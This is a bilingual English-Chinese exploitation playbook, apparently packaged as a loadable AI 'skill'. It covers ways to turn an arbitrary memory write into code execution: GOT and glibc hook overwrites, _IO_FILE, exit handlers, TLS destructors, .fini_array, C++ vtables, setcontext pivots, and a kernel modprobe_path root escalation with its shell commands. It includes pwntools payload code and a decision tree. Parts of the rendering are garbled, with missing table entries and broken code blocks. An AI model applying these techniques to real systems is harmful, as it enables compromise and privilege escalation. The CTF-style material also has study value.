arbitrary-write-to-rce
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: Arbitrary Write to Code Execution — Expert Attack Playbook
SKILL: 任意写入转代码执行 —— 专家攻击操作手册
AI LOAD INSTRUCTION: Expert techniques for converting an arbitrary write primitive into code execution. Covers every major overwrite target organized by glibc version compatibility: GOT, __malloc_hook, __free_hook, _IO_FILE vtable, __exit_funcs, TLS_dtor_list, _dl_fini, modprobe_path, .fini_array, C++ vtable, and setcontext gadget. This is the "last mile" skill. Base models often target hooks that no longer exist (post-glibc 2.34) or miss pointer mangling requirements.
AI加载说明:将任意写入原语转换为代码执行的专家技术,涵盖按glibc版本兼容性整理的所有主流覆写目标:GOT、__malloc_hook、__free_hook、_IO_FILE 虚表、__exit_funcs、TLS_dtor_list、_dl_fini、modprobe_path、.fini_array、C++虚表以及setcontext gadget。这是漏洞利用的「最后一公里」技能,基础模型通常会错误选择glibc 2.34版本后已被移除的钩子作为目标,或者遗漏指针混淆的要求。
0. RELATED ROUTING
0. 相关参考链接
- heap-exploitation — obtaining the arbitrary write via heap attacks
- format-string-exploitation — obtaining the arbitrary write via %n
- stack-overflow-and-rop — stack-based write primitives
- binary-protection-bypass — which targets are available given protection configuration
- heap-exploitation IO_FILE_EXPLOITATION.md — deep _IO_FILE structure exploitation
- heap-exploitation — 通过堆攻击获取任意写入原语
- format-string-exploitation — 通过%n格式符获取任意写入原语
- stack-overflow-and-rop — 基于栈的写入原语
- binary-protection-bypass — 根据二进制保护配置判断可用的攻击目标
- heap-exploitation IO_FILE_EXPLOITATION.md — _IO_FILE结构利用深度解析
1. TARGET SELECTION BY GLIBC VERSION
1. 按glibc版本选择攻击目标
| Target | glibc < 2.24 | 2.24–2.33 | ≥ 2.34 | Required Knowledge |
|---|---|---|---|---|
| GOT overwrite | OK (Partial RELRO) | OK (Partial RELRO) | OK (Partial RELRO) | Binary base |
| OK | OK | Removed | libc base |
| OK | OK | Removed | libc base |
| OK | OK | Removed | libc base |
| OK | Vtable range check | Vtable range check | libc base + heap |
| N/A | OK (2.24–2.27) | Patched | libc base + heap |
| N/A | OK (≥ 2.28) | OK | libc base + heap |
| OK | OK | OK | libc base + pointer guard |
| N/A | N/A | OK | TLS addr + pointer guard |
| OK | OK | OK | ld.so base |
| OK | OK | OK | Kernel base |
| OK | OK | OK | Binary base (if writable) |
| C++ vtable | OK | OK | OK | Object address + heap |
| OK | OK (changed in 2.29) | OK | libc base |
| Stack return address | Always | Always | Always | Stack address |
| 目标 | glibc < 2.24 | 2.24–2.33 | ≥ 2.34 | 所需前置知识 |
|---|---|---|---|---|
| GOT覆写 | 可用(Partial RELRO) | 可用(Partial RELRO) | 可用(Partial RELRO) | 二进制基地址 |
| 可用 | 可用 | 已移除 | libc基地址 |
| 可用 | 可用 | 已移除 | libc基地址 |
| 可用 | 可用 | 已移除 | libc基地址 |
| 可用 | 需通过虚表范围检查 | 需通过虚表范围检查 | libc基地址 + 堆地址 |
基于 | 不适用 | 可用(2.24–2.27) | 已被修复 | libc基地址 + 堆地址 |
基于 | 不适用 | 可用(≥ 2.28) | 可用 | libc基地址 + 堆地址 |
| 可用 | 可用 | 可用 | libc基地址 + 指针防护值 |
| 不适用 | 不适用 | 可用 | TLS地址 + 指针防护值 |
| 可用 | 可用 | 可用 | ld.so基地址 |
| 可用 | 可用 | 可用 | 内核基地址 |
| 可用 | 可用 | 可用 | 二进制基地址(可写前提下) |
| C++虚表 | 可用 | 可用 | 可用 | 对象地址 + 堆地址 |
| 可用 | 可用(2.29版本有改动) | 可用 | libc基地址 |
| 栈返回地址 | 全版本可用 | 全版本可用 | 全版本可用 | 栈地址 |
2. GOT OVERWRITE
2. GOT覆写
Replace a function pointer in the Global Offset Table.
修改全局偏移表中的函数指针。
Requirements
前置要求
- Partial RELRO (writable) — Full RELRO blocks this entirely
.got.plt
- 开启Partial RELRO(段可写)—— Full RELRO会完全阻断该攻击
.got.plt
Common Targets
常见攻击目标
| Overwrite From | Overwrite To | Trigger |
|---|---|---|
| | Next |
| | Next |
| | Next |
| | Next |
| | Next |
| | Create loop for multi-shot exploit |
| | Neutralize canary check |
python
undefined| 覆写源 | 覆写目标 | 触发方式 |
|---|---|---|
| | 后续执行 |
| | 后续执行 |
| | 后续执行 |
| | 后续执行 |
| | 后续执行 |
| | 构造循环实现多轮漏洞利用 |
| | 绕过canary栈溢出检查 |
python
undefinedFormat string GOT overwrite
格式化字符串GOT覆写
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']})
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']})
Heap-based GOT overwrite (tcache poisoning)
基于堆的GOT覆写(tcache poisoning)
Allocate chunk at GOT address → write system address
分配指向GOT地址的chunk → 写入system函数地址
---
---3. __malloc_hook / __free_hook (glibc < 2.34)
3. __malloc_hook / __free_hook(glibc < 2.34版本适用)
__malloc_hook
__malloc_hook
python
undefinedpython
undefinedOverwrite __malloc_hook with one_gadget address
用one_gadget地址覆写__malloc_hook
Triggered by any malloc call (including internal malloc in printf with large format)
任意malloc调用都会触发(包括printf处理大格式字符串时的内部malloc调用)
write(libc.sym['__malloc_hook'], one_gadget_addr)
write(libc.sym['__malloc_hook'], one_gadget_addr)
Trigger:
触发方式:
io.sendline('%100000c') # printf calls malloc internally for large format
undefinedio.sendline('%100000c') # printf处理大格式字符串时会内部调用malloc
undefined__free_hook
__free_hook
python
undefinedpython
undefinedOverwrite __free_hook with system
用system函数地址覆写__free_hook
write(libc.sym['__free_hook'], libc.sym['system'])
write(libc.sym['__free_hook'], libc.sym['system'])
Trigger: free a chunk containing "/bin/sh"
触发方式: 释放包含"/bin/sh"的chunk
chunk_data = b'/bin/sh\x00'
chunk_data = b'/bin/sh\x00'
... allocate chunk with this data, then free it
... 分配包含该数据的chunk,然后释放它
undefinedundefinedRealloc Trick for one_gadget Constraints
用于绕过one_gadget约束的realloc技巧
python
undefinedpython
undefinedone_gadget often requires specific register/stack state
one_gadget通常需要特定的寄存器/栈状态
realloc pushes registers and adjusts stack before calling __realloc_hook
realloc在调用__realloc_hook前会压入寄存器并调整栈
Set __malloc_hook = realloc+N (skip some pushes to adjust stack alignment)
设置__malloc_hook = realloc+N(跳过部分压栈操作调整栈对齐)
Set __realloc_hook = one_gadget
设置__realloc_hook = one_gadget
write(libc.sym['__realloc_hook'], one_gadget)
write(libc.sym['__malloc_hook'], libc.sym['realloc'] + 2) # +2, +4, +6 etc. to adjust
---write(libc.sym['__realloc_hook'], one_gadget)
write(libc.sym['__malloc_hook'], libc.sym['realloc'] + 2) # 可调整为+2、+4、+6等数值调整栈对齐
---4. _IO_FILE VTABLE
4. _IO_FILE 虚表
See IO_FILE_EXPLOITATION.md for full details.
完整细节参考IO_FILE_EXPLOITATION.md。
Quick Summary by Version
按版本快速总结
| glibc | Method | Vtable Target |
|---|---|---|
| < 2.24 | Direct vtable overwrite | Point vtable to fake table with |
| 2.24–2.27 | | Within valid range; |
| ≥ 2.28 | | Wide-char path: |
| ≥ 2.35 | House of Cat | |
| glibc版本 | 攻击方法 | 虚表目标 |
|---|---|---|
| < 2.24 | 直接虚表覆写 | 将虚表指向伪造表,在 |
| 2.24–2.27 | | 在合法范围内, |
| ≥ 2.28 | | 宽字符路径: |
| ≥ 2.35 | House of Cat | |
FSOP Trigger
FSOP触发方式
python
undefinedpython
undefinedOverwrite _IO_list_all → fake FILE with crafted vtable
覆写_IO_list_all → 指向带有构造好的虚表的伪造FILE结构
Trigger via exit() or malloc abort → _IO_flush_all_lockp → _IO_OVERFLOW
通过exit()或malloc异常触发 → _IO_flush_all_lockp → _IO_OVERFLOW
---
---5. __exit_funcs / __atexit
5. __exit_funcs / __atexit
c
// __exit_funcs is a linked list of function pointer entries called during exit()
// Each entry contains a flavor (cxa, on, at) and a function pointer
// Function pointers are MANGLED with pointer guard:
// stored = ROL(ptr ^ __pointer_chk_guard, 0x11)c
// __exit_funcs是exit()执行过程中调用的函数指针链表
// 每个条目包含类型(cxa、on、at)和函数指针
// 函数指针会通过指针防护机制混淆:
// stored = ROL(ptr ^ __pointer_chk_guard, 0x11)Exploitation
利用方式
python
undefinedpython
undefinedNeed: libc base + __pointer_chk_guard value (at fs:[0x30] or leaked)
所需前提:libc基地址 + __pointer_chk_guard值(位于fs:[0x30]或可泄露)
1. Leak or brute-force pointer_guard
1. 泄露或暴力破解pointer_guard
2. Compute mangled function pointer:
2. 计算混淆后的函数指针:
import struct
def mangle(ptr, guard):
return ((ptr ^ guard) << 0x11 | (ptr ^ guard) >> (64-0x11)) & 0xffffffffffffffff
import struct
def mangle(ptr, guard):
return ((ptr ^ guard) << 0x11 | (ptr ^ guard) >> (64-0x11)) & 0xffffffffffffffff
3. Write mangled one_gadget/system to __exit_funcs entry
3. 将混淆后的one_gadget/system地址写入__exit_funcs条目
4. Trigger: call exit() or return from main
4. 触发:调用exit()或从main函数返回
undefinedundefinedWithout Pointer Guard Knowledge
无需已知pointer_guard的方案
If you can overwrite both the function pointer AND the pointer guard (in TLS at ):
fs:[0x30]- Set pointer guard to 0
- Set function pointer to
ROL(target, 0x11) - Demangling:
ROR(stored, 0x11) ^ 0 = ROR(ROL(target, 0x11), 0x11) = target
如果你可以同时覆写函数指针和(TLS中位置的)pointer_guard:
fs:[0x30]- 将pointer_guard设置为0
- 将函数指针设置为
ROL(target, 0x11) - 解混淆时:
ROR(stored, 0x11) ^ 0 = ROR(ROL(target, 0x11), 0x11) = target
6. TLS_dtor_list (glibc ≥ 2.34)
6. TLS_dtor_list(glibc ≥ 2.34版本适用)
Thread-local destructor list — the primary post-2.34 target.
c
// Called during __call_tls_dtors() in exit flow
// Each entry: { void (*func)(void *), void *obj, void *next }
// func is MANGLED same as exit_funcs (PTR_DEMANGLE)线程局部析构函数列表 —— glibc 2.34之后的主流攻击目标。
c
// exit流程中的__call_tls_dtors()阶段会调用该列表
// 每个条目格式:{ void (*func)(void *), void *obj, void *next }
// func的混淆规则和exit_funcs相同(PTR_DEMANGLE)Location
位置
TLS area (pointed by fs register on x86-64)
tls_dtor_list is a thread-local variable in libc
Typically at fs:[offset] — offset found via libc symbol or brute-forceTLS区域(x86-64下由fs寄存器指向)
tls_dtor_list是libc中的线程局部变量
通常位于fs:[偏移]处 —— 偏移可通过libc符号或暴力破解获取Exploitation
利用方式
python
undefinedpython
undefined1. Leak TLS base address (e.g., via canary leak: canary at fs:[0x28])
1. 泄露TLS基地址(例如通过canary泄露:canary位于fs:[0x28])
2. Compute tls_dtor_list address
2. 计算tls_dtor_list地址
3. Forge a tls_dtor_list entry:
3. 构造tls_dtor_list条目:
entry = p64(mangled_func_ptr) # func (mangled with pointer guard)
entry += p64(arg_value) # obj (passed as argument to func)
entry += p64(0) # next = NULL (end of list)
entry = p64(mangled_func_ptr) # func(用pointer guard混淆后)
entry += p64(arg_value) # obj(作为参数传递给func)
entry += p64(0) # next = NULL(链表结束)
4. Write entry to heap, set tls_dtor_list to point to it
4. 将条目写入堆,设置tls_dtor_list指向该条目
5. Trigger: exit() → __call_tls_dtors() → func(obj)
5. 触发:exit() → __call_tls_dtors() → func(obj)
---
---7. _dl_fini / LINK_MAP CORRUPTION
7. _dl_fini / LINK_MAP 篡改
Attack Vector
攻击向量
During , iterates the link_map list and calls entries.
exit()_dl_finiDT_FINI_ARRAYc
// In _dl_fini:
for each loaded library (link_map entry):
if l_info[DT_FINI_ARRAY]:
array = l_addr + l_info[DT_FINI_ARRAY]->d_un.d_ptr
for each entry in array:
entry() // call destructorexit()_dl_finiDT_FINI_ARRAYc
// _dl_fini代码逻辑:
for each loaded library (link_map entry):
if l_info[DT_FINI_ARRAY]:
array = l_addr + l_info[DT_FINI_ARRAY]->d_un.d_ptr
for each entry in array:
entry() // 调用析构函数Exploitation
利用方式
- Corrupt a entry's
link_map(relocation base) to shift the FINI_ARRAY pointerl_addr - Or corrupt to point to fake array
l_info[DT_FINI_ARRAY] - Fake array contains target function pointer (system, one_gadget)
- Trigger: →
exit()→ calls fake destructor_dl_fini
Advantage: No pointer mangling (function pointers in FINI_ARRAY are not mangled).
- 篡改条目的
link_map(重定位基地址),偏移FINI_ARRAY指针l_addr - 或者篡改指向伪造数组
l_info[DT_FINI_ARRAY] - 伪造数组中填入目标函数指针(system、one_gadget)
- 触发:→
exit()→ 调用伪造析构函数_dl_fini
优势:无需处理指针混淆(FINI_ARRAY中的函数指针不会被混淆)。
8. modprobe_path (KERNEL)
8. modprobe_path(内核态)
Overwrite the kernel's to execute arbitrary commands as root.
modprobe_pathpython
undefined覆写内核的以root权限执行任意命令。
modprobe_pathpython
undefined1. Arbitrary kernel write: overwrite modprobe_path ("/sbin/modprobe")
1. 任意内核写入:覆写modprobe_path(默认值为"/sbin/modprobe")为攻击者的脚本路径,如"/tmp/x"
with "/tmp/x" (attacker's script)
—
kernel_write(modprobe_path_addr, b'/tmp/x\x00')
kernel_write(modprobe_path_addr, b'/tmp/x\x00')
2. Prepare script:
2. 准备脚本:
echo '#!/bin/sh' > /tmp/x
echo '#!/bin/sh' > /tmp/x
echo 'cat /flag > /tmp/output' >> /tmp/x
echo 'cat /flag > /tmp/output' >> /tmp/x
chmod +x /tmp/x
chmod +x /tmp/x
3. Trigger: execute a file with unknown binary format
3. 触发:执行格式未知的二进制文件
echo -ne '\xff\xff\xff\xff' > /tmp/trigger
echo -ne '\xff\xff\xff\xff' > /tmp/trigger
chmod +x /tmp/trigger
chmod +x /tmp/trigger
/tmp/trigger
/tmp/trigger
→ kernel calls modprobe_path ("/tmp/x") as root
→ 内核会以root权限调用modprobe_path指向的"/tmp/x"
See [kernel-exploitation](../kernel-exploitation/SKILL.md) for kernel write primitives.
---
内核写入原语参考[kernel-exploitation](../kernel-exploitation/SKILL.md)。
---9. .fini_array
9. .fini_array
Overwrite destructor function pointers called during normal program exit.
python
undefined覆写程序正常退出时调用的析构函数指针。
python
undefined.fini_array contains function pointers called in reverse order during exit
.fini_array包含退出阶段逆序调用的函数指针
Typically: [__do_global_dtors_aux, ...]
通常为:[__do_global_dtors_aux, ...]
Overwrite first entry with target (main for loop, system for RCE)
覆写第一个条目为目标地址(main实现循环,system实现RCE)
Two-stage: .fini_array[0] = main (loop back), .fini_array[1] = <exploit_func>
两步方案:.fini_array[0] = main(回到主程序循环),.fini_array[1] = <攻击函数>
First exit: calls .fini_array[1] (exploit_func), then .fini_array[0] (main)
第一次退出:调用.fini_array[1](攻击函数),然后调用.fini_array[0](回到main)
In main loop: set up final exploit
主程序循环中完成最终利用构造
**Limitation**: `.fini_array` may be read-only in Full RELRO binaries.
---
**限制**:Full RELRO的二进制文件中`.fini_array`可能为只读。
---10. C++ VTABLE OVERWRITE
10. C++ 虚表覆写
cpp
// C++ objects with virtual functions have a vptr at offset 0
// vptr → vtable → array of function pointers
// Overwrite vptr to point to fake vtable with controlled function pointers
// Object layout:
// +0x00: vptr → [vtable_entry_0, vtable_entry_1, ...]
// +0x08: member data...python
undefinedcpp
// 带虚函数的C++对象偏移0处为vptr
// vptr → 虚表 → 函数指针数组
// 覆写vptr指向带有可控函数指针的伪造虚表
// 对象内存布局:
// +0x00: vptr → [vtable_entry_0, vtable_entry_1, ...]
// +0x08: 成员数据...python
undefined1. Leak object address and vptr
1. 泄露对象地址和vptr
2. Create fake vtable in controlled memory:
2. 在可控内存中构造伪造虚表:
fake_vtable = p64(0) # offset -0x10 (RTTI info)
fake_vtable += p64(0) # offset -0x08 (RTTI info)
fake_vtable += p64(target_func) # virtual function 0 → system / one_gadget
fake_vtable += p64(target_func) # virtual function 1
fake_vtable = p64(0) # 偏移-0x10(RTTI信息)
fake_vtable += p64(0) # 偏移-0x08(RTTI信息)
fake_vtable += p64(target_func) # 虚函数0 → system / one_gadget
fake_vtable += p64(target_func) # 虚函数1
3. Overwrite vptr to point to fake_vtable + 0x10 (skip RTTI prefix)
3. 覆写vptr指向fake_vtable + 0x10(跳过RTTI前缀)
4. Trigger: call virtual function on the object
4. 触发:调用该对象的虚函数
---
---11. setcontext GADGET
11. setcontext GADGET
setcontextucontext_tlibc中的会从结构加载寄存器,是非常实用的栈跳转gadget。
setcontextucontext_tglibc < 2.29
glibc < 2.29
c
// setcontext+53: loads registers from [rdi + offsets]
// RDI = first argument = pointer to controlled buffer
// Sets RSP, RIP, and all other registers → full controlc
// setcontext+53: 从[rdi + 偏移]加载寄存器
// RDI = 第一个参数 = 指向可控缓冲区的指针
// 可设置RSP、RIP和所有其他寄存器 → 完全控制执行流glibc ≥ 2.29
glibc ≥ 2.29
c
// setcontext+61: loads registers from [rdx + offsets]
// Must control RDX, not RDI
// Need an intermediate gadget: mov rdx, [rdi+X]; ... ; call/jmp [rdx+Y]python
undefinedc
// setcontext+61: 从[rdx + 偏移]加载寄存器
// 必须控制RDX而非RDI
// 需要中间gadget:mov rdx, [rdi+X]; ... ; call/jmp [rdx+Y]python
undefinedCommon pattern with __free_hook (pre-2.34):
搭配__free_hook的通用模式(2.34之前版本):
__free_hook = setcontext + 61
__free_hook = setcontext + 61
free(chunk) → setcontext(chunk) where chunk contains fake ucontext
free(chunk) → setcontext(chunk),chunk中包含伪造的ucontext
From ucontext: set RSP to ROP chain, RIP to ret → ROP continues
从ucontext中设置RSP为ROP链地址,RIP为ret → 继续执行ROP
Post-2.34: combine with _IO_FILE exploitation
2.34之后版本:结合_IO_FILE利用
_IO_FILE vtable call passes fp as first arg → use gadget to move to rdx → setcontext
_IO_FILE虚表调用会将fp作为第一个参数传递 → 用gadget移动到rdx → 触发setcontext
---
---12. DECISION TREE
12. 决策树
You have an arbitrary write primitive. What to target?
├── What's the RELRO level?
│ ├── None / Partial → GOT overwrite (simplest, most reliable)
│ │ └── printf→system, free→system, atoi→system
│ └── Full RELRO → GOT read-only, choose alternative:
│
├── What glibc version?
│ ├── < 2.34 (hooks available)
│ │ ├── __free_hook = system → free("/bin/sh") [easiest]
│ │ ├── __malloc_hook = one_gadget → trigger malloc [if constraints met]
│ │ └── __realloc_hook + __malloc_hook realloc trick [adjust stack alignment]
│ │
│ ├── ≥ 2.34 (no hooks)
│ │ ├── Know pointer guard (fs:[0x30])?
│ │ │ ├── YES → __exit_funcs or TLS_dtor_list
│ │ │ └── NO → overwrite pointer guard to 0 first, then exit_funcs
│ │ ├── _IO_FILE + _IO_wfile_jumps (House of Apple 2 / Cat)
│ │ │ └── Need: libc base + heap address + controllable FILE structure
│ │ ├── _dl_fini link_map corruption
│ │ │ └── Need: ld.so base address
│ │ └── .fini_array (if writable)
│ │ └── Need: binary base (no PIE, or PIE base leaked)
│ │
│ └── Any version
│ ├── Stack return address (if stack address known)
│ └── C++ vtable (if targeting C++ object with virtual functions)
│
├── Kernel write primitive?
│ ├── modprobe_path (simplest kernel→root)
│ ├── core_pattern (/proc/sys/kernel/core_pattern)
│ └── Direct cred structure overwrite
│
└── Need to chain read → write → execute?
└── setcontext gadget: arbitrary write → pivot RSP → ROP chain
├── glibc < 2.29: setcontext+53 (uses RDI)
└── glibc ≥ 2.29: setcontext+61 (uses RDX, need mov rdx, [rdi] gadget)你已获取任意写入原语,该选择什么攻击目标?
├── RELRO级别是什么?
│ ├── 无 / Partial → GOT覆写(最简单、最可靠)
│ │ └── printf→system, free→system, atoi→system
│ └── Full RELRO → GOT只读,选择其他方案:
│
├── glibc版本是什么?
│ ├── < 2.34(钩子可用)
│ │ ├── __free_hook = system → free("/bin/sh") [最简单]
│ │ ├── __malloc_hook = one_gadget → 触发malloc [满足约束时可用]
│ │ └── __realloc_hook + __malloc_hook realloc技巧 [调整栈对齐]
│ │
│ ├── ≥ 2.34(无钩子)
│ │ ├── 已知pointer guard(fs:[0x30])吗?
│ │ │ ├── 是 → __exit_funcs 或 TLS_dtor_list
│ │ │ └── 否 → 先将pointer guard覆写为0,再攻击exit_funcs
│ │ ├── _IO_FILE + _IO_wfile_jumps(House of Apple 2 / Cat)
│ │ │ └── 所需前提:libc基地址 + 堆地址 + 可控FILE结构
│ │ ├── _dl_fini link_map篡改
│ │ │ └── 所需前提:ld.so基地址
│ │ └── .fini_array(可写前提下)
│ │ └── 所需前提:二进制基地址(无PIE,或已泄露PIE基地址)
│ │
│ └── 任意版本
│ ├── 栈返回地址(已知栈地址前提下)
│ └── C++虚表(攻击带有虚函数的C++对象时适用)
│
├── 是内核态写入原语吗?
│ ├── modprobe_path(最简单的内核提权方案)
│ ├── core_pattern (/proc/sys/kernel/core_pattern)
│ └── 直接覆写cred结构
│
└── 需要链式实现读→写→执行?
└── setcontext gadget:任意写入 → 跳转RSP → ROP链
├── glibc < 2.29: setcontext+53(使用RDI)
└── glibc ≥ 2.29: setcontext+61(使用RDX,需要mov rdx, [rdi] gadget)